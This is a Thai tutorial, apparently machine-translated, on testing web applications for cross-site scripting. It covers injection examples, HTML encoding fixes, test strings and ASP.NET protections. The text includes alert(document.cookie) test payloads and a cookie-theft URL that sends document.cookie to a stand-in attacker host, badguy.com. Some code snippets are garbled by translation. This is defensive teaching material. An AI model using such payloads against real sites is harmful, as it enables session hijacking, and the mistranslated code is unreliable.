การทดสอบความปลอดภัยของเว็บ XSS
XSS ชื่อเต็ม (การเขียนสคริปต์ไซต์ข้าม) การโจมตีสคริปต์ข้ามไซต์เป็นช่องโหว่ที่พบบ่อยที่สุดในโปรแกรมเว็บ มันหมายถึงสคริปต์ไคลเอนต์ที่ฝังผู้โจมตี (เช่น JavaScript) ลงในหน้าเว็บ เมื่อผู้ใช้เรียกดูหน้าเว็บนี้สคริปต์จะถูกดำเนินการบนเบราว์เซอร์ของผู้ใช้ซึ่งจะบรรลุวัตถุประสงค์ของผู้โจมตี ตัวอย่างเช่นการได้รับคุกกี้ของผู้ใช้นำทางไปยังเว็บไซต์ที่เป็นอันตรายถือโทรจัน ฯลฯ
ในฐานะผู้ทดสอบคุณต้องเข้าใจหลักการของ XSS สถานการณ์การโจมตีและวิธีการแก้ไข โดยการป้องกัน XSS อย่างมีประสิทธิภาพเท่านั้น
การอ่านเนื้อหา
XSS เกิดขึ้นได้อย่างไร
หากมีกล่องข้อความด้านล่าง
<อินพุต type = "text" name = "address1" value = "value1From">
Value1 จากการป้อนข้อมูลจากผู้ใช้ หากผู้ใช้ไม่ป้อนค่า 1 จาก แต่ป้อน "/><script> alert(Document.cookie)</script><!- มันจะกลายเป็น
<input type = "text" name = "address1" value = ""/> <script> การแจ้งเตือน (document.cookie) </script> <!- ">
รหัส JavaScript แบบฝังตัวจะถูกเรียกใช้งาน
หรือผู้ใช้เข้าสู่ "onfocus =" การแจ้งเตือน (document.cookie) จากนั้นมันจะกลายเป็น
<อินพุต type = "text" name = "address1" value = "" onfocus = "การแจ้งเตือน (document.cookie)">
เมื่อเหตุการณ์ถูกเรียกใช้รหัส JavaScript แบบฝังตัวจะถูกเรียกใช้งาน
พลังของการโจมตีขึ้นอยู่กับอินพุตของสคริปต์ที่ผู้ใช้
แน่นอนว่าข้อมูลที่ส่งโดยผู้ใช้สามารถส่งไปยังเซิร์ฟเวอร์ผ่าน QueryString (วางไว้ใน URL) และคุกกี้ ตัวอย่างเช่นรูปต่อไปนี้
HTML เข้ารหัส
XSS เกิดขึ้นเนื่องจากข้อมูลที่ป้อนโดยผู้ใช้จะกลายเป็นรหัส ดังนั้นเราจำเป็นต้องทำการประมวลผลการเข้ารหัส HTML บนข้อมูลที่ผู้ใช้ที่ป้อน เข้ารหัสอักขระพิเศษเช่น "วงเล็บ", "คำพูดเดียว" และ "คำพูด"
วิธีการที่มีอยู่แล้วมีอยู่ใน C#เพียงแค่เรียก httputility.htmlencode ("String <Scritp>") (ต้องการชุดประกอบ System.web)
Fiddler ยังมีเครื่องมือที่สะดวกมากคลิกปุ่ม "TextWizard" บนแถบเครื่องมือ
สถานการณ์การโจมตีของ XSS
1. กระบวนการโจมตีช่องโหว่ XSS ที่ใช้ DOM เป็นดังนี้
ทอมค้นพบช่องโหว่ของ XSS ในหน้าหนึ่งใน Victim.com
ตัวอย่างเช่น: http://victim.com/search.asp?term=apple
รหัสของหน้า search.asp ในเซิร์ฟเวอร์มีดังนี้
<Html> <title> </title> <body> ผลลัพธ์สำหรับ <%reequest.QueryString ("คำว่า")%> ... </body> </html>Tom First สร้างเว็บไซต์ http://badguy.com เพื่อรับข้อมูลจาก "การขโมย"
จากนั้นทอมสร้าง URL ที่เป็นอันตราย (ดังนี้) และส่งไปยังโมนิก้าในบางวิธี (อีเมล, QQ)
http://victim.com/search.asp?term= <script> window.open ("http://badguy.com?cookie="+document.cookie) </script>
โมนิก้าคลิกที่ URL นี้และรหัส JavaScript ที่เป็นอันตรายที่ฝังอยู่ใน URL จะถูกดำเนินการในเบราว์เซอร์ของ Monica จากนั้นคุกกี้ของโมนิก้าในเว็บไซต์ Victim.com จะถูกส่งไปยังเว็บไซต์ Badguy ด้วยวิธีนี้ข้อมูลของโมนิก้าเกี่ยวกับ Victim.com ถูกขโมยโดยทอม
2. XSS ที่เก็บไว้ (ช่องโหว่ XSS ที่เก็บไว้) ประเภทนี้เป็นช่องโหว่ที่ใช้กันอย่างแพร่หลายและอาจส่งผลกระทบต่อความปลอดภัยของเว็บเซิร์ฟเวอร์ขนาดใหญ่ ผู้โจมตีอัปโหลดสคริปต์การโจมตีไปยังเว็บเซิร์ฟเวอร์ทำให้ผู้ใช้ทุกคนที่เข้าถึงหน้าเว็บเผชิญกับความเป็นไปได้ของการรั่วไหลของข้อมูล กระบวนการโจมตีมีดังนี้
อเล็กซ์ค้นพบช่องโหว่ของ XSS ในไซต์ A ที่อนุญาตให้บันทึกรหัสการโจมตีในฐานข้อมูล
อเล็กซ์ได้เผยแพร่บทความด้วยรหัส JavaScript ที่เป็นอันตรายซึ่งฝังอยู่ในนั้น
เมื่อคนอื่น ๆ เช่นโมนิก้าเมื่อเข้าถึงบทความนี้รหัสจาวาสคริปต์ที่เป็นอันตรายที่ฝังอยู่ในบทความจะถูกดำเนินการในเบราว์เซอร์ของโมนิก้าและคุกกี้เซสชันหรือข้อมูลอื่น ๆ จะถูกขโมยโดยอเล็กซ์
ช่องโหว่ XSS-based XSS คุกคามผู้ใช้แต่ละคนในขณะที่ช่องโหว่ XSS ที่เก็บไว้จะคุกคามผู้ใช้จำนวนมาก
การแก้ไขช่องโหว่ของ XSS
หลักการ: อย่าเชื่อถือข้อมูลที่ลูกค้าป้อน
หมายเหตุ: รหัสการโจมตีไม่จำเป็นต้องอยู่ใน <<script> </script>
วิธีทดสอบช่องโหว่ของ XSS
วิธีที่ 1: ดูรหัสและค้นหาตัวแปรคีย์ ไคลเอนต์ส่งข้อมูลไปยังเว็บเซิร์ฟเวอร์ โดยทั่วไปในสามวิธีการสืบค้นแบบฟอร์มและคุกกี้ ตัวอย่างเช่นในโปรแกรม ASP ตัวแปรของลูกค้าจะได้รับผ่านวัตถุคำขอ
<%struserCode = request.QueryString ("รหัส"); struser = request.form ("ผู้ใช้"); strid = request.cookies ("id");%>หากตัวแปรไม่ได้ประมวลผลโดย htmlencode แสดงว่ามีช่องโหว่ XSS ในตัวแปรนี้
วิธีที่ 2: เตรียมสคริปต์ทดสอบ
"/><script> alert(document.cookie) </script><!-- <script> alert(document.cookie)</script><! --"onclick="alert(document.cookie)
ในกล่องข้อความหรือสถานที่อื่น ๆ ที่สามารถป้อนข้อมูลให้ป้อนสคริปต์ทดสอบเหล่านี้เพื่อดูว่ากล่องโต้ตอบสามารถปรากฏขึ้นได้หรือไม่ ถ้ามันสามารถปรากฏขึ้นก็หมายความว่ามีช่องโหว่ XSS
ตรวจสอบตัวแปรใดที่ส่งผ่านไปยังเว็บเซิร์ฟเวอร์ผ่าน URL และส่งคืนค่าของตัวแปรเหล่านี้ไปยังสคริปต์ทดสอบของเรา จากนั้นดูว่าสคริปต์ของเราสามารถดำเนินการได้หรือไม่
วิธีที่ 3: ทดสอบช่องโหว่ XSS โดยอัตโนมัติ
ตอนนี้มีเครื่องมือสแกน XSS มากมาย การใช้งานการทดสอบอัตโนมัติของ XSS นั้นง่ายมากคุณจะต้องใช้คลาส HTTPWEBREQUEST เท่านั้น ใส่สคริปต์การทดสอบ XSS ส่งไปยังเว็บเซิร์ฟเวอร์ จากนั้นตรวจสอบว่าสคริปต์การทดสอบ XSS ของเราถูกฉีดใน httpwebresponse หรือไม่
ความแตกต่างระหว่าง HTML ENCODE และ URL ENCODE
ในตอนแรกฉันมักจะสับสนทั้งสองสิ่งนี้ แต่อันที่จริงพวกเขามีสองสิ่งที่แตกต่างกัน
การเข้ารหัส HTML ได้รับการแนะนำมาก่อน การเข้ารหัส URL คือการปฏิบัติตามข้อกำหนด URL เนื่องจากในข้อกำหนด URL มาตรฐานจีนและตัวละครหลายตัวไม่ได้รับอนุญาตให้ปรากฏใน URL
ตัวอย่างเช่นค้นหา "ทดสอบอักขระจีน" ใน Baidu URL จะกลายเป็น
http://www.bai
การเข้ารหัส URL คือ: อักขระที่ไม่ใช่ตัวครีมทั้งหมดจะถูกแทนที่ด้วยเครื่องหมายเปอร์เซ็นต์ (%) ตามด้วยตัวเลขเลขฐานสิบหกสองและช่องว่างจะถูกเข้ารหัสเป็นเครื่องหมายบวก (+)
วิธีการที่มีอยู่แล้วมีอยู่ใน C#เพียงแค่เรียก httputility.urlencode ("String <Scritp>") (ต้องการชุดประกอบ System.web)
Fiddler ยังมีเครื่องมือที่สะดวกมากคลิกปุ่ม "TextWizard" บนแถบเครื่องมือ
ตัวกรอง XSS ในเบราว์เซอร์
เพื่อป้องกันไม่ให้ XSS เกิดขึ้นผู้ผลิตเบราว์เซอร์หลายรายได้เพิ่มกลไกความปลอดภัยให้กับเบราว์เซอร์ของพวกเขาเพื่อกรอง XSS ตัวอย่างเช่น IE8, IE9, Firefox, Chrome ทุกคนมีกลไกความปลอดภัยสำหรับ XSS เบราว์เซอร์บล็อก XSS ตัวอย่างเช่นภาพต่อไปนี้
หากคุณต้องการทำการทดสอบคุณควรใช้ IE7
กลไกการรักษาความปลอดภัยของ XSS ใน ASP.NET
ASP.NET มีกลไกในการป้องกัน XSS แบบฟอร์มที่ส่งจะตรวจสอบโดยอัตโนมัติว่า XSS มีอยู่หรือไม่ เมื่อผู้ใช้พยายามป้อนรหัส XSS ASP.NET จะโยนข้อผิดพลาดดังแสดงในรูปต่อไปนี้
โปรแกรมเมอร์หลายคนไม่มีความคิดเกี่ยวกับความปลอดภัยและพวกเขาไม่รู้ด้วยซ้ำว่ามี XSS asp.net ปลอดภัยโดยค่าเริ่มต้น ณ จุดนี้ ด้วยวิธีนี้แม้กระทั่งโปรแกรมเมอร์ที่ไม่มีการรับรู้ด้านความปลอดภัยก็สามารถเขียน "เว็บไซต์ที่ปลอดภัยกว่า"
หากคุณต้องการปิดการใช้งานคุณสมบัติความปลอดภัยนี้คุณสามารถใช้ < %@ page page validaterequest = "false" %>
ข้างต้นคือการทดสอบความปลอดภัยของเว็บ XSS เราจะจัดระเบียบวัสดุทดสอบซอฟต์แวร์ที่เกี่ยวข้องต่อไปในอนาคต ขอบคุณสำหรับการสนับสนุนเว็บไซต์นี้!